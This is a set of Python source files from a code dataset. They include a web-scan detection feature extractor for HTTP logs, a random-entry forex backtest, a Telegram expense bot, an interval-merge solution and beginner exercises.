dict(first_name=\"Dawid\",last_name=\"Zając\", age = 20)\nprint(person,type(person))\n\n#get value\nprint(person['first_name'])\nprint(person.get('last_name'))\n\n#add key/value\nperson['phone'] = '551-000-123'\n\n# get dict keys\nprint(person.keys())\n\n#get dict items\nprint(person.items())\n\n#copy dict\nperson2 = person.copy()\nperson2['city'] = 'Lublin'\nprint(person2)\n\n#remove item\ndel(person['age'])\nperson.pop('phone')\nprint(person)\n\n#clear\nperson.clear()\nprint(person)\n\n#get length\nprint(len(person2))\n\n#list of dict\npeople = [\n {'name': 'Dawid', 'age': 16},\n {'name': 'Ania', 'age': 20}\n]\nprint(people[1])","sub_path":"1_1/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"350754481","text":"###sys layer\nimport socket\nimport struct\nimport time\nimport math\nimport pickle\nimport random\n#import Levenshtein\nimport numpy as np\nimport pandas as pd\n###user layer\nfrom utils import check_ip\nfrom utils import check_content\nfrom utils import Configuration \nfrom utils import MyLogger\nfrom gst.detection_api import url_detection_api\nconfig = Configuration()\nLOGGER_CONTROL\t= MyLogger(\"Feature_engine\",config=config)\nLOGGER_CONTROL.disable_file()\nLOGGER = LOGGER_CONTROL.getLogger() \n\n\nclass Feature_engine(object):\n#\t @check_content\n\tdef __init__(self,http_log_content=None):\n\t\tself.http_log_content = http_log_content\n\t\tac_tree = './ac/dir_traver.pkl'\n\t\twith open(ac_tree,'br') as f:\n\t\t\tself.dir_traver_ac = pickle.load(f)\n\t\t#self.feature_columns=['Sum_sec_flow','Feq_sec_flow','Sum_xss','Feq_xss','Sum_dir','Feq_dir',\\\n\t\t#\t\t\t\t'Sum_404_error','Feq_404_error','H_status','src_ip','dest_ip','Malics_urls']\n\t\tself.feature_columns=['Sum_flow','Sum_sec_flow','Feq_sec_flow','Sum_xss','Feq_xss','Sum_dir','Feq_dir',\\\n\t\t\t\t\t\t'Sum_404_error','Feq_404_error','H_status','Cls_url','Sum_packets','Mean_packets',\\\n\t\t\t\t\t\t'src_ip','dest_ip','Malics_urls',]\n\n\t@property\n\tdef content(self):\n\t\treturn self.http_log_content\n\n\t@content.setter\n\t@check_content\n\tdef content(self, http_log_content):\n\t\tself.http_log_content = http_log_content\n\n\tdef data_clean(self,input_data=None):\n\t\tif input_data is not None:\n\t\t\tdata = input_data\n\t\telse:\n\t\t\tdata = self.http_log_content\n\t\t#过滤掉nids没有解析的字段的条目\n\t\tdata = data[data['protocol']!='-']\n\t\tdata = data[data['method']!='-']\n\t\t#data = data[data['status']!='-']\n\t\tdata = data[data['dest_ip'].notnull()]\n\t\tdata = data[data['dest_port'].notnull()]\n\t\t#过滤掉只有一条流的源IP,程序先找出不重复的,再用总集-不重复\n\t\tsingle = data.drop_duplicates(subset=['src_ip'],keep=False)\n\t\tdata = data[-data['src_ip'].isin(single['src_ip'])]\n\t\tself.http_log_content = data\n\t\treturn data\n\n#\t@check_content\n#\tdef data_preprocess(self,http_log_content=None):\n#\t\tif http_log_content is None:\n#\t\t\tdf = self.http_log_content\n#\t\tdata = self.data_clean(input_data)\n\n\tdef calcute_entropy(self,item_list):\n\t\tH_item = 0\n\t\tif len(item_list) != 0:\n\t\t\titem_set = set(item_list)\n\t\t\tP_item = [item_list.count(item)/len(item_list) for item in item_set]\n\t\t\tfor i,item in enumerate(item_set):\n\t\t\t\t H_item += -1 * P_item[i] * np.log2(P_item[i])\n\t\treturn H_item\n\t\n\tdef fillup_unresolved(self,item_list):\n\t\t\"\"\"\n\t\t\t例如item_list= ['-',404,200,200,302]\n\t\t\tunresolved_num = 1 ,表示列表中有一个未解析,'-'\n\t\t\t为了填充未解析,按照原先概率选取\n\t\t\tresolved_dict = {404:1,200:2,302:1}\n\t\t\tnum_range = [1,3,4]\n\t\t\t即随机数随机选取[0,4]\n\t\t\t\t\t\t处于0-1,属于404,25%概率\n\t\t\t\t\t\t1-3,属于200,50%概率\n\t\t\t\t\t\t3-4,属于302,25%概率\n\n\t\t\"\"\"\n\t\tunresolved_num = item_list.count('-')\n\t\tif unresolved_num == len(item_list):\n\t\t\treturn item_list\n\t\tresolved_set = set(item_list) - set('-')\n\t\tresolved_dict = {x:item_list.count(x) for x in resolved_set}\n\t\tresolved_keys = list(resolved_dict.keys())\n\t\tresolved_values = list(resolved_dict.values())\n\t\tnum_range = [sum(resolved_values[0:i+1]) for i,j in enumerate(resolved_values)]\n\t\t##构建新的item_list\n\t\titem_list = list(filter(lambda x:x !='-',item_list))\n\t\tfor i in range(unresolved_num):\n\t\t\trandom_num = math.ceil(random.uniform(0,num_range[-1]))\n\t\t\tgreater_min = min(list(filter(lambda x:x>=random_num,num_range)))\n\t\t\tindex = num_range.index(greater_min)\n\t\t\titem_list.append(resolved_keys[index])\n\t\treturn item_list\n\n\tdef time_transform(self,timestamp_list):\n\t\t\"\"\"\n\t\t\t返回1秒源ip访问流条目占总流条目占比,由于日志是精确到微妙->1/20/19-19:03:00.698841\n\t\t\t如果只算秒,源ip访问其中一个目的ip的时间(秒)例如如下:\n\t\t\t[1/20/19-19:03:00,1/20/19-19:03:01,1/20/19-19:03:01,1/20/19-19:03:02,1/20/19-19:03:02]\n\t\t\t转换时间戳:\n\t\t\t[t1,t2,t2,t3,t3],函数将返回4/5,因为在1秒内有两个t2,两个t3,5条流\n\t\t\"\"\"\n\t\tsec_time_list = []\n\t\tSum_sec_flow,Feq_sec_flow = 0,0\n\t\tfor item in timestamp_list:\n\t\t\tif item != '-' or item is not None:\n\t\t\t\ttime_format = item.split('.')[0]\n\t\t\t\ttime_struct = time.strptime(time_format, '%m/%d/%y-%H:%M:%S')\n\t\t\t\ttime_sec_part = time.mktime(time_struct)\n\t\t\t\tsec_time_list.append(time_sec_part)\n\t\tone_sec_flow = list(map(lambda x:sec_time_list.count(x)-1,list(set(sec_time_list))))\n\t\tif len(timestamp_list) == 0:\n\t\t\tFeq_sec_flow = 0\n\t\t\tSum_sec_flow = 0\n\t\telif len(timestamp_list) == 1:\n\t\t\tFeq_sec_flow = 1\n\t\t\tSum_sec_flow = 1\n\t\telse:\n\t\t\tSum_sec_flow = sum(list(map(lambda x:x+1 if x!=0 else 0,one_sec_flow)))\n\t\t\tFeq_sec_flow = Sum_sec_flow/len(timestamp_list)\t \n\t\treturn Sum_sec_flow,Feq_sec_flow\n\n\tdef dir_traver_transform(self,url_list):\n\t\tSum_dir,Feq_dir = 0,0\n\t\tfor url in url_list:\n\t\t\tl_match = [match for match in self.dir_traver_ac.iter(url)]\n\t\t\tif len(l_match) > 0:\n\t\t\t\tSum_dir = Sum_dir + 1\n\t\tif len(url_list) !=0:\n\t\t\tFeq_dir = Sum_dir/len(url_list)\n\t\treturn Sum_dir,Feq_dir\n\n\tdef status_transform(self,status_list):\n\t\t\"\"\"status_list由于有没解析的部分'-',所以按照原先一定概率补全没解析的\n\t\t\t例如status_list = ['200','200','404','-','302']\n\t\t\t其中200有2个,404一个,302一个,则'-',有50%概率是200,20%是404或者302\n\t\t\"\"\"\n\t\tSum_404_error,Feq_404_error,H_status = 0,0,0\n\t\t\n\t\tunresolved_num = status_list.count('-')\n\t\tif unresolved_num == len(status_list):\n\t\t\tSum_404_error = -1\t\n\t\t\tFeq_404_error = -1\t\n\t\t\tH_status = -1\n\t\t\treturn Sum_404_error,Feq_404_error,H_status\n\t\tstatus_list = self.fillup_unresolved(status_list)\n\n\t\tstr_404 = status_list.count('404')\n\t\tint_404 = status_list.count(404)\n\t\tif str_404 > int_404:\n\t\t\tSum_404_error = str_404\n\t\telse:\n\t\t\tSum_404_error = int_404\n\t\tif len(status_list)!=0:\n\t\t\tFeq_404_error = Sum_404_error/len(status_list)\n\n\t\tH_status = self.calcute_entropy(status_list)\n\t\treturn Sum_404_error,Feq_404_error,H_status\n\n\tdef size_transform(self, size_list):\n\t\tsize_list = list(filter(lambda x:str(x).isdigit(),size_list))\n\t\tsize_list = list(map(lambda x:int(x),size_list))\n\t\tSum_packets,Mean_packets = 0,0\t\n\t\tunresolved_num = size_list.count('-')\n\t\tif unresolved_num == len(size_list):\n\t\t\tSum_packets = -1\n\t\t\tMean_packets = -1\n\t\tsize_list = self.fillup_unresolved(size_list)\n\t\tsize_list = list(filter(lambda x: isinstance(x,int),size_list))\n\t\tSum_packets = sum(size_list)\n\t\tif len(size_list)!=0:\n\t\t\tMean_packets = Sum_packets/(len(size_list))\n\t\treturn Sum_packets,Mean_packets\n\t\n\tdef url_transform(self, url_list):\n\t\tCls_url = 0\n\t\tCls_url = len(set(url_list))\n\t\treturn Cls_url\n\n\tdef extract_feature(self,src_ip_table):\n\t\tresult = []\n\t\tfeature_columns = self.feature_columns\n\t\tsrc_ip = list(src_ip_table['src_ip'])[0] \n\t\tif src_ip_table['dest_ip'].nunique() == 1:\n\t\t\ttimestamp_list = list(src_ip_table['timestamp'])\n\t\t\tsize_list = list(src_ip_table['size'])\n\t\t\tstatus_list = list(src_ip_table['status'])\n\t\t\turl_list = list(src_ip_table['params'])\n\t\t\tdest_ip = list(src_ip_table['dest_ip'])[0]\n\t\t\tget_url_df = src_ip_table[src_ip_table['method']=='GET']\n\t\t\tget_url_list = list(get_url_df['params'])\n\n\t\t\t#Malics_urls,Sum_xss,Feq_xss = url_detection_api(get_url_list)\n\t\t\tCls_url = self.url_transform(url_list)\n\t\t\tSum_dir,Feq_dir = self.dir_traver_transform(url_list)\n\t\t\tSum_sec_flow,Feq_sec_flow = self.time_transform(timestamp_list)\n\t\t\tSum_404_error,Feq_404_error,S_Hstatus = self.status_transform(status_list)\n\t\t\tSum_packets,Mean_packets = self.size_transform(size_list)\n\t\t\tdic = dict.fromkeys(feature_columns)\n\t\t\tdic['Sum_flow'] = len(src_ip_table['dest_ip'])\n\t\t\tdic['Feq_sec_flow'] = Feq_sec_flow\n\t\t\tdic['Sum_sec_flow'] = Sum_sec_flow\n\t\t\tdic['Sum_404_error'] = Sum_404_error\n\t\t\tdic['Feq_404_error'] = Feq_404_error\n\t\t\tdic['Sum_packets'] = Sum_packets\n\t\t\tdic['Mean_packets'] = Mean_packets\n\t\t\tdic['H_status'] = S_Hstatus\n\t\t\tdic['src_ip'] = src_ip \n\t\t\tdic['dest_ip'] = dest_ip\n\t\t\tdic['Sum_dir'] = Sum_dir\n\t\t\tdic['Feq_dir'] = Feq_dir\n\t\t\tdic['Cls_url'] = Cls_url\n\t\t\t#dic['Malics_urls'] = Malics_urls\n\t\t\t#dic['Sum_xss'] = Sum_xss\n\t\t\t#dic['Feq_xss'] = Feq_xss\n\t\t\tresult.append(dic)\n\t\telse:\n\t\t\tfor dest_ip,item in src_ip_table.groupby(['dest_ip']):\n\t\t\t\tsize_list = list(src_ip_table['size'])\n\t\t\t\ttimestamp_list = list(item['timestamp'])\n\t\t\t\tstatus_list = list(item['status'])\n\t\t\t\turl_list = list(src_ip_table['params'])\n\t\t\t\tget_url_df = item[item['method']=='GET']\n\t\t\t\tget_url_list = list(get_url_df['params'])\n\n\t\t\t\t#Malics_urls,Sum_xss,Feq_xss = url_detection_api(get_url_list)\n\t\t\t\tCls_url = self.url_transform(url_list)\n\t\t\t\tSum_dir,Feq_dir = self.dir_traver_transform(url_list)\n\t\t\t\tSum_sec_flow,Feq_sec_flow = self.time_transform(timestamp_list)\n\t\t\t\tSum_404_error,Feq_404_error,H_status = self.status_transform(status_list)\n\t\t\t\tSum_packets,Mean_packets = self.size_transform(size_list)\n\t\t\t\tdic = dict.fromkeys(feature_columns)\n\t\t\t\tdic['Sum_flow'] = len(item)\n\t\t\t\tdic['Feq_sec_flow'] = Feq_sec_flow\n\t\t\t\tdic['Sum_sec_flow'] = Sum_sec_flow\n\t\t\t\tdic['Sum_404_error'] = Sum_404_error\n\t\t\t\tdic['Feq_404_error'] = Feq_404_error\n\t\t\t\tdic['Sum_packets'] = Sum_packets\n\t\t\t\tdic['Mean_packets'] = Mean_packets\n\t\t\t\tdic['H_status'] = H_status\n\t\t\t\tdic['src_ip'] = src_ip\n\t\t\t\tdic['dest_ip'] = dest_ip\n\t\t\t\tdic['Sum_dir'] = Sum_dir\n\t\t\t\tdic['Feq_dir'] = Feq_dir\n\t\t\t\tdic['Cls_url'] = Cls_url\n\t\t\t\t#dic['Malics_urls'] = Malics_urls\n\t\t\t\t#dic['Sum_xss'] = Sum_xss\n\t\t\t\t#dic['Feq_xss'] = Feq_xss\n\t\t\t\tresult.append(dic)\n\t\treturn result\n\n\tdef extract_feature_train(self,scan_tb):\n\t\tfeature_columns = self.feature_columns\n\t\tindex = 0\n\t\tresult = []\n\t\t#scan_tb.sample(frac=1)\n\t\tnum = int(len(scan_tb)/20)\n\n\t\tfor i in range(num):\n\t\t\ttrain_tb = scan_tb.loc[i*20:(i+1)*20-1]\n\t\t\ttimestamp_list = list(train_tb['timestamp'])\n\t\t\tstatus_list = list(train_tb['status'])\n\t\t\turl_df = train_tb[train_tb['method']=='GET']\n\t\t\turl_list = list(url_df['params'])\n\t\t\t#dest_ip = list(train_tb['dest_ip'])[0]\n\n\t\t\tMalics_urls,Sum_xss,Feq_xss = url_detection_api(url_list)\n\t\t\tSum_dir,Feq_dir = self.dir_traver_transform(url_list)\n\t\t\tSum_sec_flow,Feq_sec_flow = self.time_transform(timestamp_list)\n\t\t\tSum_404_error,Feq_404_error,S_Hstatus = self.status_transform(status_list)\n\t\t\tdic = dict.fromkeys(feature_columns)\n\t\t\tdic['Feq_sec_flow'] = Feq_sec_flow\n\t\t\tdic['Sum_sec_flow'] = Sum_sec_flow\n\t\t\tdic['Sum_404_error'] = Sum_404_error\n\t\t\tdic['Feq_404_error'] = Feq_404_error\n\t\t\tdic['H_status'] = S_Hstatus\n\t\t\t#dic['src_ip'] = src_ip \n\t\t\t#dic['dest_ip'] = dest_ip\n\t\t\tdic['Sum_xss'] = Sum_xss\n\t\t\tdic['Feq_xss'] = Feq_xss\n\t\t\tdic['Sum_dir'] = Sum_dir\n\t\t\tdic['Feq_dir'] = Feq_dir\n\t\t\t#dic['Malics_urls'] = Malics_urls\n\t\t\tresult.append(dic)\n\t\treturn result\n\n\tdef webscan_feature_train(self,input_data): \n\t\tfeature_columns = self.feature_columns\n\t\tif input_data is not None:\n\t\t\tdf = input_data\n\t\telse:\n\t\t\tdf = self.http_log_content\n\t\tall_tb = pd.DataFrame(columns = feature_columns)\n\t\tfeatures = self.extract_feature_train(df)\n\t\t\n\t\tall_tb = all_tb.append(features,ignore_index=True)\n\t\tself.webscan_train_all_tb = all_tb\n\t\treturn all_tb\n\n\tdef webscan_feature(self,input_data=None,ws_ipall=None):\n\t\tfeature_columns = self.feature_columns\n\t\tif input_data is not None:\n\t\t\tdf = input_data\n\t\telse:\n\t\t\tdf = self.http_log_content\n\t\tos_ipset,ws_ipset = set(),set()\n\t\tsrc_ip_set = set(df['src_ip'])\n\t\tif ws_ipall is None:\n\t\t\tws_ipall = []\n\t\telse:\n\t\t\tos_ipset = src_ip_set - set(ws_ipall)\n\t\t\tws_ipset = src_ip_set - os_ipset\n\t\tws_tb = pd.DataFrame(columns = feature_columns)\n\t\tos_tb = pd.DataFrame(columns = feature_columns)\n\t\tall_tb = pd.DataFrame(columns = feature_columns)\n\t\tfor item in src_ip_set:\n\t\t\tsrc_ip_table = df[df['src_ip'] == item]\n\t\t\tfeatures = self.extract_feature(src_ip_table)\n\t\t\tif item in ws_ipall:\n\t\t\t\tws_tb = ws_tb.append(features,ignore_index=True)\n\t\t\telse:\n\t\t\t\tos_tb = os_tb.append(features,ignore_index=True)\n\t\tall_tb = ws_tb.append(os_tb)\n\t\tself.webscan_http_ws_tb = ws_tb\n\t\tself.webscan_http_os_tb = os_tb\n\t\tself.webscan_http_all_tb = all_tb\n\t\treturn all_tb,ws_tb,os_tb\n\n","sub_path":"transform/feature_engine.py","file_name":"feature_engine.py","file_ext":"py","file_size_in_byte":11901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"130718631","text":"from backtest_base import *\n\nclass backtest_strategy(backtest_base):\n\n def go_long(self, date, units):\n self.open_long_trade(units, date=date)\n \n def go_short(self, date, units):\n self.open_short_trade(units, date=date)\n\n def add_indicators(self, WindowLenght):\n \n for e_granularity in self.data_granularity:\n self.data[e_granularity].loc[:, 'mean_bid_c'] = self.data[e_granularity].loc[:, 'bid_c'].rolling(WindowLenght+1).mean()\n self.data[e_granularity].loc[:, 'H-L'] = self.data[e_granularity].loc[:,'bid_h'] - self.data[e_granularity].loc[:,'bid_l']\n self.data[e_granularity].loc[:, 'cum-move'] = self.data[e_granularity].loc[:,'H-L'].rolling(WindowLenght+1).sum()\n self.data[e_granularity].loc[:, 'net-move'] = np.abs( self.data[e_granularity].loc[:,'bid_c'] - self.data[e_granularity].loc[:,'bid_c'].shift(WindowLenght))\n self.data[e_granularity].loc[:, 'ratio-move'] = self.data[e_granularity].loc[:, 'net-move'] / self.data[e_granularity].loc[:, 'cum-move']\n self.data[e_granularity] = self.data[e_granularity].dropna()\n \n def run_strategy(self,window_lenght):\n\n self.add_indicators(window_lenght)\n \n for e_granularity in self.data_granularity:\n self.data[e_granularity] = self.data[e_granularity].loc[(self.data[e_granularity].index >= self.start_date) & (self.data[e_granularity].index <= self.end_date),:]\n\n print('-' * 55)\n msg = 'Running strategy v.2.0'\n msg += '\\nFixed costs %.2f | ' % self.ftc\n msg += 'proportional costs %.4f' % self.ptc\n print(msg)\n \n for date, _ in self.data[self.decision_frequency].iterrows():\n \n if date >=self.date_to_start_trading:\n\n ''' \n Get signal\n Create buy/sell order\n -\tCalculate PL\n -\tCalculate required margin\n Check all open orders\n - \tEither add to the list\n -\tOr eliminate some from list, move to ListofClosedOrders\n '''\n\n if self.units_net != 0:\n\n for etrade in self.listofOpenTrades:\n \n if(etrade.unrealizedprofitloss) > 6:\n \n self.close_all_trades(date)\n\n if(etrade.unrealizedprofitloss) <= -3:\n\n self.close_all_trades(date)\n \n elif self.units_net == 0:\n \n if ( self.data[self.decision_frequency].loc[date, 'net-move'] < 0.002 ) \\\n and ( self.data[self.decision_frequency].loc[date, 'cum-move'] / self.data[self.decision_frequency].loc[date, 'net-move'] > 20 ):\n \n price_ask_c, price_bid_c, price_ask_h, price_bid_h, price_ask_l, price_bid_l = self.get_price(date)\n \n if np.random.random() >= 0.5:\n \n self.open_long_trade(1000, date)\n\n else:\n \n self.open_short_trade(1000, date)\n\n self.update(date)\n \n filename = os.path.join( self.backtest_folder, 'data.xlsx')\n self.data[self.decision_frequency].to_excel(filename)\n \n self.close_all_trades(date)\n self.update(date)\n self.close_out()\n\n self.calculate_stats()\n \nif __name__ == '__main__':\n \n cwd = os.path.dirname(__file__)\n os.chdir(cwd)\n\n strategy_name = 'strategy v.2.2'\n symbol = 'EUR_USD'\n account_type = 'backtest'\n data_granularity = ['1M']\n decision_frequency = '1M'\n data_granularity.append(decision_frequency)\n data_granularity = list(np.unique(data_granularity))\n start_datetime = datetime.datetime(2020,1,1,0,0,0)\n end_datetime = datetime.datetime(2021,1,1,0,0,0)\n idle_duration_before_start_trading = datetime.timedelta(days=0, hours=1, minutes=0)\n initial_equity = 10000\n marginpercent = 100\n ftc=0.0\n ptc=0.0\n verbose=True\n create_data=False\n window_lenght = 60\n \n # A standard lot = 100,000 units of base currency. \n # A mini lot = 10,000 units of base currency.\n # A micro lot = 1,000 units of base currency.\n\n bb = backtest_strategy(strategy_name, symbol, account_type, data_granularity, decision_frequency, start_datetime, end_datetime, idle_duration_before_start_trading, initial_equity, marginpercent, ftc, ptc, verbose, create_data)\n #bb.check_data_quality()\n \n bb.run_strategy(window_lenght)\n \n #bb.plot()\n\n filename = '{}_data.xlsx'.format(bb.symbol)\n uf.write_df_to_excel(bb.data[bb.decision_frequency], bb.backtest_folder, filename)\n \n filename = '{}_data.pkl'.format(bb.symbol)\n uf.pickle_df(bb.data[bb.decision_frequency], bb.backtest_folder, filename)\n \n bb.write_all_trades_to_excel()\n \n bb.monte_carlo_simulator(250)\n \n #viz.visualize(bb.symbol, bb.data[bb.decision_frequency], bb.listofClosedTrades)\n \n bb.analyze_trades()\n \n bb.calculate_average_number_of_bars_before_profitability()\n ","sub_path":"source_backtest/backtest_strategy_v_2_2.py","file_name":"backtest_strategy_v_2_2.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"575202935","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/7/10 08:23\n# @Author : dzzxjl@126.com\n\n\nclass Good:\n def __init__(self, id, shipper_id, start_city_id, end_city_id, handling_type, truck_length,\n truck_weight, cargo_capacipy, cargo_type, expect_freight, truck_type_list, truck_type,\n truck_count, mileage, highway, lon, lat, freight_unit, lcl_cargo):\n self.id = id\n self.shipper_id = shipper_id\n self.start_city_id = start_city_id\n self.end_city_id = end_city_id\n self.handling_type = handling_type\n self.truck_length = truck_length\n self.truck_weight = truck_weight\n self.cargo_capacipy = cargo_capacipy\n self.cargo_type = cargo_type\n self.expect_freight = expect_freight\n self.truck_type_list = truck_type_list\n self.truck_type = truck_type\n self.truck_count = truck_count\n self.mileage = mileage\n self.highway = highway\n self.lon = lon\n self.lat = lat\n self.freight_unit = freight_unit\n self.lcl_cargo = lcl_cargo\n\n def __str__(self):\n return '%s(%s)' % (type(self).__name__, ', '.join('%s=%s' % item for item in vars(self).items()))","sub_path":"PRESS/src/bean/good.py","file_name":"good.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"129716594","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport redis\nimport logging\nimport telegram\nfrom telegram.error import NetworkError, Unauthorized\nfrom time import sleep\nfrom telegram import ReplyKeyboardMarkup\nfrom telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, RegexHandler,\n ConversationHandler)\n\nimport logging\nfrom datetime import datetime\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\nCHOOSING, TYPING_REPLY, TYPING_CHOICE = range(3)\n\nfood_category = u'\\U0001F35F' + 'Еда' + u'\\U0001F35F'\ncar_category = u'\\U0001F3CE' + 'Машина' + u'\\U0001F3CE'\nparty_category = u'\\U0001F388' + 'Развлечения' + u'\\U0001F388'\nother_category = u'\\U0001F9E6' + 'Другое' + u'\\U0001F9E6'\nstatistics_category = u'\\U0001F4C8' + 'Статистика' + u'\\U0001F4C8' \n\n\nreply_keyboard = [[ food_category, party_category],\n [ car_category, other_category],\n [ statistics_category]]\nmarkup = ReplyKeyboardMarkup(reply_keyboard, one_time_keyboard=True)\n\nfinans = {food_category, party_category, car_category, other_category}\n\nr = redis.from_url(os.environ.get(\"REDIS_URL\"))\n\n\ndef facts_to_str():\n facts = list()\n\n for cat in finans:\n cat_value = r.get(md(cat))\n print(md(cat))\n if cat_value is not None:\n facts.append('{} -\\t {}'.format(cat, str(int(cat_value))))\n\n return \"\\n\".join(facts).join(['\\n', '\\n'])\n\ndef is_int(s):\n try: \n int(s)\n return True\n except ValueError:\n return False\n\ndef md(key):\n prefix = str(datetime.now().month) + str(datetime.now().year)\n return prefix + '|' + key\n\n\ndef start(bot, update):\n update.message.reply_text(\n \"Привет!\" + u'\\U0001F4A9' + \"\\n\\n\" + \"Я роднулин финансовый помощник\" + u'\\U0001F4B0' + \"\\nБуду помогать считать траты. \" + u'\\U0001F911' +\n \"\\n\\nКуда потратим деньги?\" + u'\\U0001F43C',\n reply_markup=markup)\n\n return CHOOSING\n\n\ndef regular_choice(bot, update, user_data):\n text = update.message.text\n user_data['choice'] = text\n update.message.reply_text(\n '{}\\nСколько же мы потратили на этот раз?!'.format(text) + u'\\U0001F43E')\n\n return TYPING_REPLY\n\n\ndef custom_choice(bot, update, user_data):\n update.message.reply_text(\"Итого за этот месяц:\\n\"\n \"{}\".format(facts_to_str()))\n\n return CHOOSING\n\n\ndef received_information(bot, update, user_data):\n text = update.message.text\n\n if is_int(text):\n category = user_data['choice']\n print(category)\n\n\n old_value = r.get(md(category))\n print(\"Old value:{0}\".format(old_value))\n\n if old_value is not None:\n new_value = int(old_value) + int(text)\n print(\"New value:{0}\".format(new_value))\n r.set(md(category), new_value)\n else:\n r.set(md(category), 0)\n\n user_data[category] = text\n del user_data['choice']\n\n update.message.reply_text(\"Запомнил!\" + u'\\U0001F9E0' + \"\\n\\nПоследние роднулины траты:\\n\"\n \"{}\".format(facts_to_str()), reply_markup=markup)\n else:\n category = user_data['choice']\n user_data[category] ='0'\n del user_data['choice']\n update.message.reply_text(\"Надо денюжки вводить, а не белиберду!\" + u'\\U0001F62F', reply_markup=markup)\n return CHOOSING\n\n\ndef done(bot, update, user_data):\n if 'choice' in user_data:\n del user_data['choice']\n\n update.message.reply_text(\"I learned these facts about you:\"\n \"{}\"\n \"Until next time!\".format(facts_to_str(user_data)))\n\n user_data.clear()\n return ConversationHandler.END\n\n\ndef error(bot, update, error):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n\ndef main():\n # Create the Updater and pass it your bot's token.\n updater = Updater(os.environ['TELEGRAM_TOKEN'])\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # Add conversation handler with the states GENDER, PHOTO, LOCATION and BIO\n conv_handler = ConversationHandler(\n entry_points=[CommandHandler('start', start)],\n\n states={\n CHOOSING: [RegexHandler('^(' + food_category + '|' + party_category + '|' + car_category + '|' + other_category + ')$',\n regular_choice,\n pass_user_data=True),\n RegexHandler('^' + statistics_category + '$',\n custom_choice,\n\t\t\t\t\t\t\t\t\tpass_user_data=True),\n ],\n\n TYPING_CHOICE: [MessageHandler(Filters.text,\n regular_choice,\n pass_user_data=True),\n ],\n\n TYPING_REPLY: [MessageHandler(Filters.text,\n received_information,\n pass_user_data=True),\n ],\n },\n\n fallbacks=[RegexHandler('^Готово$', done, pass_user_data=True)]\n )\n\n dp.add_handler(conv_handler)\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling(poll_interval = 3.0,timeout=20)\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\n\nif __name__ == '__main__':\n main()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"384868821","text":"#!/usr/bin/env python3\n'''\nSolution for \"Merge Intervals\"\n'''\n\n# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n if not intervals:\n return [newInterval]\n\n if intervals[0].start > newInterval.end:\n return [newInterval] + intervals\n\n if intervals[-1].end < newInterval.start:\n return intervals + [newInterval]\n\n ans = []\n flag = 0\n start = newInterval.start\n end = newInterval.end\n for ix, interval in enumerate(intervals):\n if interval.end < start:\n ans.append(interval)\n if (start <= interval.start <= end) or (start<=interval.end<=end) or (interval.start <= start <= interval.end):\n start = min(start, interval.start)\n end = max(end, interval.end)\n if interval.start > end:\n flag = 1\n break\n if flag:\n ans = ans + [Interval(start, end)] + intervals[ix:]\n else:\n ans = ans + [Interval(start, end)]\n return ans\n \n\nif __name__ == \"__main__\":\n a = [[1,3], [4,5]]\n b = [Interval(i[0], i[1]) for i in a]\n c = Interval(0,7)\n d = Solution().insert(b, c)\n print([[i.start, i.end] for i in d])","sub_path":"57/57.py","file_name":"57.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"336290052","text":"#1 question\r\nb=[1,2,3,4]\r\nb=[i**3 for i in b]\r\nprint(b)\r\n#2 question\r\na=[i for i in range(2,20) for j in range(2,i) if(i%j==0) ]\r\nb=[i for i in range(2,20) if(i not in a )]\r\nprint(b)\r\n#3 question\r\n'''\r\nIn terms of syntax, the only difference we use parenthesis instead of square brackets.\r\n\r\nThe type of data returned by list comprehensions and generator expressions differs.\r\n\r\nThe generator yields one item at a time — thus it is more memory efficient than a list.'''\r\n#4 question\r\n\r\nCelsius = [39.2 ,36.5, 37.3, 37.8]\r\nt=list(map(lambda x: 1.8*x+32,Celsius))\r\nprint(t)\r\n\r\n#5 question\r\nlst=[1,2,3]\r\ndef square_(n):\r\n return n*n\r\ns=list(map(lambda n:square_(n),lst))\r\nprint(s)\r\n#6 question\r\nlst=[1,2,3,4,5,6,7,8,9]\r\ndef isprime(n):\r\n flag=1\r\n if(n>1):\r\n for i in range(2,n):\r\n \r\n if(n%i==0):\r\n flag=0\r\n break\r\n if(flag==1):\r\n return n\r\n \r\np=list(filter(lambda n: isprime(n),lst))\r\nprint(p)\r\n#7 question\r\nlst=[1,2,3,4,5,5]\r\nfrom functools import *\r\nt=reduce(lambda x,y:x*y,lst)\r\nprint(t)\r\n \r\n \r\n","sub_path":"advancedpython.py","file_name":"advancedpython.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"458526874","text":"from decimal import Decimal, ROUND_HALF_UP\nimport pandas as pd\n\n\ndef precise_round(num):\n return float(Decimal(str(num)).quantize(Decimal('0.01'), rounding=ROUND_HALF_UP))\n\n\ndef fillna(df):\n mask 